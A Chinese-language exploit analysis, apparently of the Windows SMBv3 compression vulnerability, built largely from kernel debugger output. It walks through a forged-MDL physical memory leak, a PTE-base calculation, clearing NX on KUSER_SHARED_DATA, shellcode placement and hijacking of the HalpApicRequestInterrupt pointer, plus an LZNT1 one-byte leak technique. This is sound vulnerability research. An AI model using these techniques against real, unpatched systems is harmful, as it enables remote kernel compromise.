ffffcc0f`76fed220 00037d9b 00000000 00039c9c 00000000
ffffcc0f`76fed230 00037d1d 00000000 00000000 00000000
ffffcc0f`76fed240 00000000 00000000 00000000 00000000
ffffcc0f`76fed250 00000000 00000000 00000000 00000000
//是正确的物理页
kd> dd ffffcc0f`76fe9000
ffffcc0f`76fe9000 00000000 00000000 00000000 00000000
ffffcc0f`76fe9010 76fe9070 ffffcc0f 00000001 00000000
ffffcc0f`76fe9020 00000001 00000001 76fe9088 ffffcc0f
ffffcc0f`76fe9030 00000008 00000000 00000000 00000000
ffffcc0f`76fe9040 00000000 00000000 76fe90f8 ffffcc0f
ffffcc0f`76fe9050 00000290 00000000 76feb4d8 ffffcc0f
ffffcc0f`76fe9060 00000238 00000000 0000000c 00000000
ffffcc0f`76fe9070 00000018 00000001 eb004a11 11d49b1a
kd> !dd 41099000
#41099000 00000000 00000000 00000000 00000000
#41099010 76fe9070 ffffcc0f 00000001 00000000
#41099020 00000001 00000001 76fe9088 ffffcc0f
#41099030 00000008 00000000 00000000 00000000
#41099040 00000000 00000000 76fe90f8 ffffcc0f
#41099050 00000290 00000000 76feb4d8 ffffcc0f
#41099060 00000238 00000000 0000000c 00000000
#41099070 00000018 00000001 eb004a11 11d49b1a
根据前面的介绍可知,SRVNET BUFFER HDR结构体中存放了两个MDL结构(Memory Descriptor List,内存描述符列表)指针,分别位于其0x38和0x50偏移处,MDL维护缓冲区的物理地址信息,以下为某个请求结构的第一个MDL:
2: kd> dt _mdl poi(rax+38)
nt!_MDL
+0x000 Next : (null)
+0x008 Size : 0n64
+0x00a MdlFlags : 0n20484
+0x00c AllocationProcessorNumber : 0
+0x00e Reserved : 0
+0x010 Process : (null)
+0x018 MappedSystemVa : 0xffffae8d`0cfe3050 Void
+0x020 StartVa : 0xffffae8d`0cfe3000 Void
+0x028 ByteCount : 0x1100
+0x02c ByteOffset : 0x50
2: kd> dd poi(rax+38)
ffffae8d`0cfe41e0 00000000 00000000 50040040 00000000
ffffae8d`0cfe41f0 00000000 00000000 0cfe3050 ffffae8d
ffffae8d`0cfe4200 0cfe3000 ffffae8d 00001100 00000050
ffffae8d`0cfe4210 0004a847 00000000 00006976 00000000
ffffae8d`0cfe4220 00000000 00000000 00000000 00000000
ffffae8d`0cfe4230 00040040 00000000 00000000 00000000
ffffae8d`0cfe4240 00000000 00000000 0cfe3000 ffffae8d
ffffae8d`0cfe4250 00001100 00000050 00000000 00000000
0xFFFFAE8D0CFE3000映射自物理页4A847 ,0xFFFFAE8D0CFE4000映射自物理页6976。和上面MDL结构可以对应起来。
3: kd> !pte 0xffffae8d`0cfe3000
VA ffffae8d0cfe3000
PXE at FFFFF6FB7DBEDAE8 PPE at FFFFF6FB7DB5D1A0 PDE at FFFFF6FB6BA34338 PTE at FFFFF6D746867F18
contains 0A000000013BE863 contains 0A000000013C1863 contains 0A00000020583863 contains 8A0000004A847B63
pfn 13be ---DA--KWEV pfn 13c1 ---DA--KWEV pfn 20583 ---DA--KWEV pfn 4a847 CG-DA--KW-V
3: kd> !pte 0xffffae8d`0cfe4000
VA ffffae8d0cfe4000
PXE at FFFFF6FB7DBEDAE8 PPE at FFFFF6FB7DB5D1A0 PDE at FFFFF6FB6BA34338 PTE at FFFFF6D746867F20
contains 0A000000013BE863 contains 0A000000013C1863 contains 0A00000020583863 contains 8A00000006976B63
pfn 13be ---DA--KWEV pfn 13c1 ---DA--KWEV pfn 20583 ---DA--KWEV pfn 6976 CG-DA--KW-V
在Srv2DecompressData函数中,如果解压失败,就会调用SrvNetFreeBuffer,在这个函数中对不需要的缓冲区进行一些处理之后将其放回SrvNetBufferLookasides表,但没有对User Buffer区域以及MDL相关数据进行处理,后面再用到的时候会直接取出来用(前面分析过),存在数据未初始化的隐患。如下所示,在nt!ExpInterlockedPushEntrySList函数被调用后,伪造了pMDL1指针的SRVNET BUFFER HDR结构体指针被放入SrvNetBufferLookasides。
//Srv2DecompressData
NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
3: kd> dq poi(poi(SrvNetBufferLookasides)+20)
ffffae8d`0bbb54c0 ffffae8d`0bbddbc0 ffffae8d`0bbdd980
ffffae8d`0bbb54d0 ffffae8d`0bbdd7c0 ffffae8d`0bbdd640
ffffae8d`0bbb54e0 ffffae8d`0bbdd140 0005d2a7`00000014
ffffae8d`0bbb54f0 0002974b`0003d3e0 00000064`00005000
ffffae8d`0bbb5500 52777445`0208f200 0006f408`0006f3f3
ffffae8d`0bbb5510 ffffae8d`0586bb58 ffffae8d`0bbb5f10
ffffae8d`0bbb5520 ffffae8d`0bbb5520 ffffae8d`0bbb5520
ffffae8d`0bbb5530 ffffae8d`0586bb20 00000000`00000000
3: kd> p
srvnet!SrvNetFreeBuffer+0x18b:
fffff800`494758ab ebcf jmp srvnet!SrvNetFreeBuffer+0x15c (fffff800`4947587c)
3: kd> dq ffffae8d`0bbdd140
ffffae8d`0bbdd140 00000000`00130002 ffffae8d`0dbf6150
ffffae8d`0bbdd150 0000001a`01000004 00000013`0000000d
ffffae8d`0bbdd160 00000200`00000000 00001100`3030534c
ffffae8d`0bbdd170 fffff800`4947d600 fffff800`4947d590
ffffae8d`0bbdd180 ffffae8d`0bbdd9c0 ffffae8d`08302ac0
ffffae8d`0bbdd190 00000009`00000016 00000000`00000000
ffffae8d`0bbdd1a0 ffffae8d`0bbddbc0 00000000`00000000
ffffae8d`0bbdd1b0 00000000`00000001 00000000`00000000
3: kd> dq ffffae8d`0dbf6150 //假设伪造了pmdl1指针
ffffae8d`0dbf6150 ffffae8d`0a771150 cdcdcdcd`cdcdcdcd
ffffae8d`0dbf6160 00000003`00000000 ffffae8d`0dbf5050
ffffae8d`0dbf6170 00000000`00001100 00000000`00001278
ffffae8d`0dbf6180 ffffae8d`0dbf5000 fffff780`00000e00
ffffae8d`0dbf6190 00000000`00000000 00000000`00000000
ffffae8d`0dbf61a0 ffffae8d`0dbf6228 00000000`00000000
ffffae8d`0dbf61b0 00000000`00000000 00000000`00000000
ffffae8d`0dbf61c0 00000000`00000000 00000000`00000000
ricercasecurity文章中提示可通过伪造MDL结构(设置后面的物理页pfn)来泄露物理内存。在后续处理某些请求时,会从SrvNetBufferLookasides表中取出缓冲区来存放数据,因而数据包有概率分配在被破坏的缓冲区上,由于网卡驱动最终会依赖DMA(Direct Memory Access,直接内存访问)来传输数据包,因而伪造的MDL结构可控制读取有限的数据。如下所示,Smb2ExecuteNegotiateReal函数在处理SMB协商的过程中又从SrvNetBufferLookasides中获取到了被破坏的缓冲区,其pMDL1指针已经被覆盖为伪造的MDL结构地址0xfffff78000000e00,该结构偏移0x30处的物理页被指定为0x1aa。
3: kd> dd fffff78000000e00 //伪造的MDL结构
fffff780`00000e00 00000000 00000000 50040040 0b470280
fffff780`00000e10 00000000 00000000 00000050 fffff780
fffff780`00000e20 00000000 fffff780 00001100 00000008
fffff780`00000e30 000001aa 00000000 00000001 00000000
3: kd> k
# Child-SP RetAddr Call Site
00 ffffd700`634cf870 fffff800`494767de nt!ExpInterlockedPopEntrySListResume+0x7
01 ffffd700`634cf880 fffff800`44d24de6 srvnet!SrvNetAllocateBuffer+0x9e
02 ffffd700`634cf8d0 fffff800`44d3d584 srv2!Srv2AllocateResponseBuffer+0x1e
03 ffffd700`634cf900 fffff800`44d29a9f srv2!Smb2ExecuteNegotiateReal+0x185f4
04 ffffd700`634cfad0 fffff800`44d2989a srv2!RfspThreadPoolNodeWorkerProcessWorkItems+0x13f
05 ffffd700`634cfb50 fffff800`457d9037 srv2!RfspThreadPoolNodeWorkerRun+0x1ba
06 ffffd700`634cfbb0 fffff800`45128ce5 nt!IopThreadStart+0x37
07 ffffd700`634cfc10 fffff800`452869ca nt!PspSystemThreadStartup+0x55
08 ffffd700`634cfc60 00000000`00000000 nt!KiStartSystemThread+0x2a
3: kd>
srv2!Smb2ExecuteNegotiateReal+0x592:
fffff800`44d25522 498b86f8000000 mov rax,qword ptr [r14+0F8h]
3: kd>
srv2!Smb2ExecuteNegotiateReal+0x599:
fffff800`44d25529 488b5818 mov rbx,qword ptr [rax+18h]
3: kd> dd rax //被破坏了的pmdl1指针
ffffae8d`0cfce150 00000000 00000000 005c0073 00750050
ffffae8d`0cfce160 00000002 00000003 0cfcd050 ffffae8d
ffffae8d`0cfce170 00001100 000000c4 00001278 00650076
ffffae8d`0cfce180 0cfcd000 ffffae8d 00000e00 fffff780
ffffae8d`0cfce190 00000000 006f0052 00000000 00000000
ffffae8d`0cfce1a0 0cfce228 ffffae8d 00000000 00000000
ffffae8d`0cfce1b0 00000000 00450054 0050004d 0043003d
ffffae8d`0cfce1c0 005c003a 00730055 00720065 005c0073
在后续数据传输过程中会调用hal!HalBuildScatterGatherListV2函数,其会利用MDL结构中的PFN、ByteOffset以及ByteCount来设置_SCATTER_GATHER_ELEMENT结构。然后调用TRANSMIT::MiniportProcessSGList函数(位于e1i65x64.sys,网卡驱动,测试环境)直接传送数据,该函数第三个参数为_SCATTER_GATHER_LIST类型,其两个 _SCATTER_GATHER_ELEMENT结构分别指明了0x3d942c0 和 0x1aa008 (物理地址),如下所示,当函数执行完成后,0x1aa物理页的部分数据被泄露。其中,0x1aa008来自于伪造的MDL结构,计算过程为:(0x1aa << c) + 8。
1: kd> dd r8
ffffae8d`0b454ca0 00000002 ffffae8d 00000001 00000000
ffffae8d`0b454cb0 03d942c0 00000000 00000100 ffffae8d
ffffae8d`0b454cc0 00000000 00000260 001aa008 00000000
ffffae8d`0b454cd0 00000206 00000000 00640064 00730069
1: kd> dt _SCATTER_GATHER_LIST @r8
hal!_SCATTER_GATHER_LIST
+0x000 NumberOfElements : 2
+0x008 Reserved : 1
+0x010 Elements : [0] _SCATTER_GATHER_ELEMENT
1: kd> dt _SCATTER_GATHER_ELEMENT ffffae8d`0b454cb0
hal!_SCATTER_GATHER_ELEMENT
+0x000 Address : _LARGE_INTEGER 0x3d942c0
+0x008 Length : 0x100
+0x010 Reserved : 0x00000260`00000000
1: kd> dt _SCATTER_GATHER_ELEMENT ffffae8d`0b454cb0+18
hal!_SCATTER_GATHER_ELEMENT
+0x000 Address : _LARGE_INTEGER 0x1aa008
+0x008 Length : 0x206
+0x010 Reserved : 0x00730069`00640064
1: kd> !db 0x3d9438a l100
# 3d9438a 00 50 56 c0 00 08 00 0c-29 c9 e3 5d 08 00 45 00 .PV.....)..]..E.
# 3d9439a 02 2e 45 8c 00 00 80 06-00 00 c0 a8 8c 8a c0 a8 ..E.............
# 3d943aa 8c 01 01 bd df c4 e1 1c-22 7e c3 d1 b7 0d 50 18 ........"~....P.
# 3d943ba 20 14 9b fd 00 00 c3 d1-b7 0d 00 00 00 00 00 00 ...............
1: kd> !dd 0x1aa008
# 1aa008 00000000 00000000 00000000 00000000
# 1aa018 00000000 00000000 00000000 00000000
# 1aa028 00000000 00000000 00000000 00000000
# 1aa038 00000000 00000000 00000000 00000000
# 1aa048 00000000 00000000 00000000 00000000
# 1aa058 00000000 00000000 00000000 00000000
# 1aa068 00000000 00000000 00000000 00000000
# 1aa078 00000000 00000000 00000000 00000000
正常的响应包应该是以下这个样子的,这次通过查看MiniportProcessSGList函数第四个参数(_NET_BUFFER类型)来验证,如下所示,此次MDL结构中维护的物理地址(0x4a84704c)和线性地址(0xffffae8d0cfe304c)是一致的:
3: kd> dt _NET_BUFFER @r9
ndis!_NET_BUFFER
+0x000 Next : (null)
+0x008 CurrentMdl : 0xffffae8d`0ca6ac50 _MDL
+0x010 CurrentMdlOffset : 0xca
+0x018 DataLength : 0x23c
+0x018 stDataLength : 0x00010251`0000023c
+0x020 MdlChain : 0xffffae8d`0ca6ac50 _MDL
+0x028 DataOffset : 0xca
+0x000 Link : _SLIST_HEADER
+0x000 NetBufferHeader : _NET_BUFFER_HEADER
+0x030 ChecksumBias : 0
+0x032 Reserved : 5
+0x038 NdisPoolHandle : 0xffffae8d`08304900 Void
+0x040 NdisReserved : [2] 0xffffae8d`0c2e19a0 Void
+0x050 ProtocolReserved : [6] 0x00000206`00000100 Void
+0x080 MiniportReserved : [4] (null)
+0x0a0 DataPhysicalAddress : _LARGE_INTEGER 0xff0201cb`ff0201cd
+0x0a8 SharedMemoryInfo : (null)
+0x0a8 ScatterGatherList : (null)
3: kd> dx -id 0,0,ffffae8d05473040 -r1 ((ndis!_MDL *)0xffffae8d0ca6ac50)
((ndis!_MDL *)0xffffae8d0ca6ac50) : 0xffffae8d0ca6ac50 [Type: _MDL *]
[+0x000] Next : 0xffffae8d0850d690 [Type: _MDL *]
[+0x008] Size : 56 [Type: short]
[+0x00a] MdlFlags : 4 [Type: short]
[+0x00c] AllocationProcessorNumber : 0x2e7 [Type: unsigned short]
[+0x00e] Reserved : 0xff02 [Type: unsigned short]
[+0x010] Process : 0x0 [Type: _EPROCESS *]
[+0x018] MappedSystemVa : 0xffffae8d0ca6ac90 [Type: void *]
[+0x020] StartVa : 0xffffae8d0ca6a000 [Type: void *]
[+0x028] ByteCount : 0x100 [Type: unsigned long]
[+0x02c] ByteOffset : 0xc90 [Type: unsigned long]
3: kd> dx -id 0,0,ffffae8d05473040 -r1 ((ndis!_MDL *)0xffffae8d0850d690)
((ndis!_MDL *)0xffffae8d0850d690) : 0xffffae8d0850d690 [Type: _MDL *]
[+0x000] Next : 0x0 [Type: _MDL *]
[+0x008] Size : 56 [Type: short]
[+0x00a] MdlFlags : 16412 [Type: short]
[+0x00c] AllocationProcessorNumber : 0x3 [Type: unsigned short]
[+0x00e] Reserved : 0x0 [Type: unsigned short]
[+0x010] Process : 0x0 [Type: _EPROCESS *]
[+0x018] MappedSystemVa : 0xffffae8d0cfe304c [Type: void *]
[+0x020] StartVa : 0xffffae8d0cfe3000 [Type: void *]
[+0x028] ByteCount : 0x206 [Type: unsigned long]
[+0x02c] ByteOffset : 0x4c [Type: unsigned long]
3: kd> db 0xffffae8d0cfe304c
ffffae8d`0cfe304c 00 00 02 02 fe 53 4d 42-40 00 00 00 00 00 00 00 .....SMB@.......
ffffae8d`0cfe305c 00 00 01 00 01 00 00 00-00 00 00 00 00 00 00 00 ................
ffffae8d`0cfe306c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffae8d`0cfe307c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffae8d`0cfe308c 00 00 00 00 41 00 01 00-11 03 02 00 66 34 fa 05 ....A.......f4..
ffffae8d`0cfe309c 30 97 9d 49 88 48 f5 78-47 ea 04 38 2f 00 00 00 0..I.H.xG..8/...
ffffae8d`0cfe30ac 00 00 80 00 00 00 80 00-00 00 80 00 02 6b 83 89 .............k..
ffffae8d`0cfe30bc 4b 8b d6 01 00 00 00 00-00 00 00 00 80 00 40 01 K.............@.
3: kd> !db 0x4a84704c
#4a84704c 00 00 02 02 fe 53 4d 42-40 00 00 00 00 00 00 00 .....SMB@.......
#4a84705c 00 00 01 00 01 00 00 00-00 00 00 00 00 00 00 00 ................
#4a84706c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
#4a84707c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
#4a84708c 00 00 00 00 41 00 01 00-11 03 02 00 66 34 fa 05 ....A.......f4..
#4a84709c 30 97 9d 49 88 48 f5 78-47 ea 04 38 2f 00 00 00 0..I.H.xG..8/...
#4a8470ac 00 00 80 00 00 00 80 00-00 00 80 00 02 6b 83 89 .............k..
#4a8470bc 4b 8b d6 01 00 00 00 00-00 00 00 00 80 00 40 01 K.............@.
1.通过任意地址写伪造MDL结构
2.利用解压缩精准覆盖pMDL1指针,使得压缩数据正好可以解压出伪造的MDL结构地址,但要控制解压失败,避免不必要的后续复制操作覆盖掉重要数据
3.利用前两步读取1aa(1ad)页,寻找自索引值,根据这个值计算PTE base
4.根据PTE BASE和KUSER_SHARED_DATA的虚拟地址计算出该地址的PTE,修改KUSER_SHARED_DATA区域的可执行权限
5.将Shellcode通过任意地址写复制到0xfffff78000000800(属于KUSER_SHARED_DATA)
6.获取halpInterruptController指针以及hal!HalpApicRequestInterrupt指针,利用任意地址写将hal!HalpApicRequestInterrupt指针覆盖为Shellcode地址,将halpInterruptController指针复制到已知区域(以便Shellcode可以找到hal!HalpApicRequestInterrupt函数地址并将halpInterruptController偏移0x78处的该函数指针还原)。hal!HalpApicRequestInterrupt函数是系统一直会调用的函数,劫持了它就等于劫持了系统执行流程。
计算 PTE BASE: 使用物理地址读泄露1aa页的数据(测试虚拟机采用BIOS引导),找到其自索引,通过(index << 39) | 0xFFFF000000000000得到PTE BASE。如下例所示:1aa页自索引为479(0x1DF),因而PTE BASE为(0x1DF << 39) | 0xFFFF000000000000 = 0xFFFFEF8000000000。
0: kd> !dq 1aa000 l1df+1
# 1aa000 8a000000`0de64867 00000000`00000000
# 1aa010 00000000`00000000 00000000`00000000
# 1aa020 00000000`00000000 00000000`00000000
# ......
# 1aaed0 0a000000`013b3863 00000000`00000000
# 1aaee0 00000000`00000000 00000000`00000000
# 1aaef0 00000000`00000000 80000000`001aa063
1: kd> ?(0x1DF << 27) | 0xFFFF000000000000
Evaluate expression: -18141941858304 = ffffef80`00000000
计算 KUSER_SHARED_DATA 的 PTE: 通过 PTE BASE 和 KUSER_SHARED_DATA 的 VA 可以算出KUSER_SHARED_DATA 的 PTE,2017年黑客大会的一篇 PDF 里有介绍。计算过程实际是来源于ntoskrnl.exe中的MiGetPteAddress函数,如下所示,其中0xFFFFF68000000000为未随机化时的PTE BASE,但自Windows 10 1607起 PTE BASE 被随机化,不过幸运的是,这个值可以从MiGetPteAddress函数偏移0x13处获取,系统运行后会将随机化的基址填充到此处(后面一种思路用了这个):
.text:00000001400F1D28 MiGetPteAddress proc near ; CODE XREF: MmInvalidateDumpAddresses+1B↓p
.text:00000001400F1D28 ; MiResidentPagesForSpan+1B↓p ...
.text:00000001400F1D28 shr rcx, 9
.text:00000001400F1D2C mov rax, 7FFFFFFFF8h
.text:00000001400F1D36 and rcx, rax
.text:00000001400F1D39 mov rax, 0FFFFF68000000000h
.text:00000001400F1D43 add rax, rcx
.text:00000001400F1D46 retn
.text:00000001400F1D46 MiGetPteAddress endp
1: kd> u MiGetPteAddress
nt!MiGetPteAddress:
fffff802`045add28 48c1e909 shr rcx,9
fffff802`045add2c 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h
fffff802`045add36 4823c8 and rcx,rax
fffff802`045add39 48b80000000080efffff mov rax,0FFFFEF8000000000h
fffff802`045add43 4803c1 add rax,rcx
fffff802`045add46 c3 ret
fffff802`045add47 cc int 3
fffff802`045add48 cc int 3
在获取了PTE BASE之后可按照以上流程计算某地址的PTE,按照上面的代码计算FFFFF7800000000(KUSER_SHARED_DATA 的起始地址)的PTE为:((FFFFF78000000000 >> 9 ) & 7FFFFFFFF8) + 0xFFFFEF8000000000 = 0xFFFFEFFBC0000000,对比如下输出可知,我们已经成功计算出了FFFFF7800000000对应的PTE。
0: kd> !pte fffff78000000000
VA fffff78000000000
PXE at FFFFEFF7FBFDFF78 PPE at FFFFEFF7FBFEF000 PDE at FFFFEFF7FDE00000 PTE at FFFFEFFBC0000000
contains 0000000001300063 contains 0000000001281063 contains 0000000001782063 contains 00000000013B2963
pfn 1300 ---DA--KWEV pfn 1281 ---DA--KWEV pfn 1782 ---DA--KWEV pfn 13b2 -G-DA--KWEV
去NX标志位: 知道了目标地址的PTE( 0xFFFFEFFBC0000000),就可以为其去掉NX标志,这样就可以在这个区域执行代码了,思路是利用任意地址写将PTE指向的地址的 NoExecute 标志位修改为0。
2: kd> db ffffeffb`c0000006
ffffeffb`c0000006 00 80 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0: kd> db FFFFEFFBC0000000+6 //修改后
ffffeffb`c0000006 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1: kd> dt _MMPTE_HARDWARE FFFFEFFBC0000000
nt!_MMPTE_HARDWARE
+0x000 Valid : 0y1
+0x000 Dirty1 : 0y1
+0x000 Owner : 0y0
+0x000 WriteThrough : 0y0
+0x000 CacheDisable : 0y0
+0x000 Accessed : 0y1
+0x000 Dirty : 0y1
+0x000 LargePage : 0y0
+0x000 Global : 0y1
+0x000 CopyOnWrite : 0y0
+0x000 Unused : 0y0
+0x000 Write : 0y1
+0x000 PageFrameNumber : 0y000000000000000000000001001110110010 (0x13b2)
+0x000 ReservedForHardware : 0y0000
+0x000 ReservedForSoftware : 0y0000
+0x000 WsleAge : 0y0000
+0x000 WsleProtection : 0y000
+0x000 NoExecute : 0y1
0: kd> dt _MMPTE_HARDWARE FFFFEFFBC0000000 //修改后
nt!_MMPTE_HARDWARE
+0x000 Valid : 0y1
+0x000 Dirty1 : 0y1
+0x000 Owner : 0y0
+0x000 WriteThrough : 0y0
+0x000 CacheDisable : 0y0
+0x000 Accessed : 0y1
+0x000 Dirty : 0y1
+0x000 LargePage : 0y0
+0x000 Global : 0y1
+0x000 CopyOnWrite : 0y0
+0x000 Unused : 0y0
+0x000 Write : 0y1
+0x000 PageFrameNumber : 0y000000000000000000000001001110110010 (0x13b2)
+0x000 ReservedForHardware : 0y0000
+0x000 ReservedForSoftware : 0y0000
+0x000 WsleAge : 0y0000
+0x000 WsleProtection : 0y000
+0x000 NoExecute : 0y0
寻找HAL: HAL堆是在HAL.DLL引导过程中创建的,HAL堆上存放了HalpInterruptController(目前也是随机化的),其中保存了一些函数指针,其偏移0x78处存放了hal!HalpApicRequestInterrupt函数指针。这个函数和中断相关,会被系统一直调用,所以可通过覆盖这个指针劫持执行流程。
0: kd> dq poi(hal!HalpInterruptController)
fffff7e6`80000698 fffff7e6`800008f0 fffff802`04486e50
fffff7e6`800006a8 fffff7e6`800007f0 00000000`00000030
fffff7e6`800006b8 fffff802`04422d80 fffff802`04421b90
fffff7e6`800006c8 fffff802`04422520 fffff802`044226e0
fffff7e6`800006d8 fffff802`044226b0 00000000`00000000
fffff7e6`800006e8 fffff802`044223c0 00000000`00000000
fffff7e6`800006f8 fffff802`04454560 fffff802`04432770
fffff7e6`80000708 fffff802`04421890 fffff802`0441abb0
0: kd> u fffff802`0441abb0
hal!HalpApicRequestInterrupt:
fffff802`0441abb0 48896c2420 mov qword ptr [rsp+20h],rbp
fffff802`0441abb5 56 push rsi
fffff802`0441abb6 4154 push r12
fffff802`0441abb8 4156 push r14
fffff802`0441abba 4883ec40 sub rsp,40h
fffff802`0441abbe 488bb42480000000 mov rsi,qword ptr [rsp+80h]
fffff802`0441abc6 33c0 xor eax,eax
fffff802`0441abc8 4532e4 xor r12b,r12b
可通过遍历物理页找到HalpInterruptController地址,如下所示,在虚拟机调试环境下该地址位于第一个物理页。在获得这个地址后,可通过0x78偏移找到alpApicRequestInterrupt函数指针地址,覆盖这个地址为Shellcode地址0xfffff78000000800,等待劫持执行流程。
1: kd> !dq 1000
# 1000 00000000`00000000 00000000`00000000
# 1010 00000000`01010600 00000000`00000000
# ......
# 18f0 fffff7e6`80000b20 fffff7e6`80000698
# 1900 fffff7e6`80000a48 00000000`00000004
Shellcode复制&&执行: 通过任意地址写将Shellcode复制到0xfffff78000000800,等待“alpApicRequestInterrupt函数”被调用。
0: kd> g
Breakpoint 0 hit
fffff780`00000800 55 push rbp
0: kd> k
# Child-SP RetAddr Call Site
00 fffff800`482b24c8 fffff800`450273a0 0xfffff780`00000800
01 fffff800`482b24d0 fffff800`4536c4b8 hal!HalSendNMI+0x330
02 fffff800`482b2670 fffff800`4536bbee nt!KiSendFreeze+0xb0
03 fffff800`482b26d0 fffff800`45a136ac nt!KeFreezeExecution+0x20e
04 fffff800`482b2800 fffff800`45360811 nt!KdEnterDebugger+0x64
05 fffff800`482b2830 fffff800`45a17105 nt!KdpReport+0x71
06 fffff800`482b2870 fffff800`451bbbf0 nt!KdpTrap+0x14d
07 fffff800`482b28c0 fffff800`451bb85f nt!KdTrap+0x2c
08 fffff800`482b2900 fffff800`45280202 nt!KiDispatchException+0x15f
Zecops利用思路的灵魂是通过判断LZNT1解压是否成功来泄露单个字节,有点爆破的意思在里面。
通过逆向可以发现LZNT1压缩数据由压缩块组成,每个压缩块有两个字节的块头部,通过最高位是否设置可判断该块是否被压缩,其与0xFFF相与再加3(2字节的chunk header+1字节的flag)为这个压缩块的长度。每个压缩块中有若干个小块,每个小块开头都有存放标志的1字节数据。该字节中的每个比特控制后面的相应区域,是直接复制(0)还是重复复制(1)。
这里先举个后面会用到的例子,如下所示。解压时首先取出2个字节的块头部0xB007,0xB007&0xFFF+3=0xa,所以这个块的大小为10,就是以下这10个字节。然后取出标志字节0x14,其二进制为00010100,对应了后面的8项数据,如果相应的比特位为0,就直接将该字节项复制到待解压缓冲区,如果相应比特位为1,表示数据有重复,从相应的偏移取出两个字节数据,根据环境计算出复制的源地址和复制的长度。
由于0x14的前两个比特为0,b0 00 直接复制到目标缓冲区,下一个比特位为1,则取出0x007e,复制0x7e+3(0x81)个 00 到目标缓冲区,然后下一个比特位是0,复制ff到目标缓冲区,下个比特位为1,所以又取出0x007c,复制0x7c+3(0x7f)个 FF 到目标缓冲区,由于此时已走到边界点,对该压缩块的解压结束。以下为解压结果:
kd> db ffffa508`31ac115e lff+3+1
ffffa508`31ac115e b0 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac116e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac117e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac118e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac119e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11ae 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11be 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11ce 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11de 00 00 00 ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac11ee ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac11fe ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac120e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac121e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac122e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac123e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac124e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac125e ff ff ff ...
Zecops在文章中提出可通过向目标发送压缩测试数据并检测该连接是否断开来判断是否解压失败,如果解压失败,则连接断开,而利用LZNT1解压的特性可通过判断解压成功与否来泄露1字节数据。下面来总结解压成功和解压失败的模式。
00 00 模式: 文中提示LZNT1压缩数据可以 00 00 结尾(类似于以NULL终止的字符串,可选的)。如下所示,当读取到的长度为0时跳出循环,在比较了指针没有超出边界之后,正常退出函数。
// RtlDecompressBufferLZNT1
v11 = *(_WORD *)compressed_data_point;
if ( !*(_WORD *)compressed_data_point )
break;
......
}
v17 = *(_DWORD **)&a6;
if ( compressed_data_point <= compressed_data_boundary )
{
**(_DWORD **)&a6 = (_DWORD)decompress_data_p2 - decompress_data_p1;
goto LABEL_15;
}
LABEL_32:
v10 = 0xC0000242; // 错误流程
*v17 = (_DWORD)compressed_data_point;
LABEL_15:
if ( _InterlockedExchangeAdd((volatile signed __int32 *)&v23, 0xFFFFFFFF) == 1 )
KeSetEvent(&Event, 0, 0);
KeWaitForSingleObject(&Event, Executive, 0, 0, 0i64);
if ( v10 >= 0 && v23 < 0 )
v10 = HIDWORD(v23);
return (unsigned int)v10;
}
XX XX FF FF FF模式: 满足XX XX FF FF FF模式的压缩块会在解压时产生错误,其中,XXXX&FFF>0且第二个XX的最高位为1。作者在进行数据泄露的时候使用的FF FF满足此条件,关键代码如下,当标志字节为FF时,由于第一个标志位被设置,会跳出上面的循环,然后取出两个字节的0xFFFF。由于比较第一个比特位的时候就跳出循环,decompress_data_p1、decompress_data_p2 和 decompress_data_p3 都指向原始的目标缓冲区(本来也就是起点)。所以 v11 也是初始值 0xD,v14(v15)为标志位1相应的双字0xFFFF。由于decompress_data_p1 - 0xFFFF >> 0xD -1 肯定小于decompress_data_p2,会返回错误码 0xC0000242。
if ( *compressed_data_p1 & 1 )
break;
*decompress_data_p1 = compressed_data_p1[1];
......
}
while ( decompress_data_p1 > decompress_data_p3 )
{
v11 = (unsigned int)(v11 - 1);
decompress_data_p3 = (_BYTE *)(dword_14037B700[v11] + decompress_data_p2);
}
v13 = compressed_data_p1 + 1;
v14 = *(_WORD *)(compressed_data_p1 + 1);
v15 = v14;
v17 = dword_14037B744[v11] & v14;
v11 = (unsigned int)v11;
v16 = v17;
v18 = &decompress_data_p1[-(v15 >> v11) - 1];
if ( (unsigned __int64)v18 < decompress_data_p2 )
return 0xC0000242i64;
//调试数据
kd>
nt!LZNT1DecompressChunk+0x66e:
fffff802`52ddd93e 488d743eff lea rsi,[rsi+rdi-1]
kd> p
nt!LZNT1DecompressChunk+0x673:
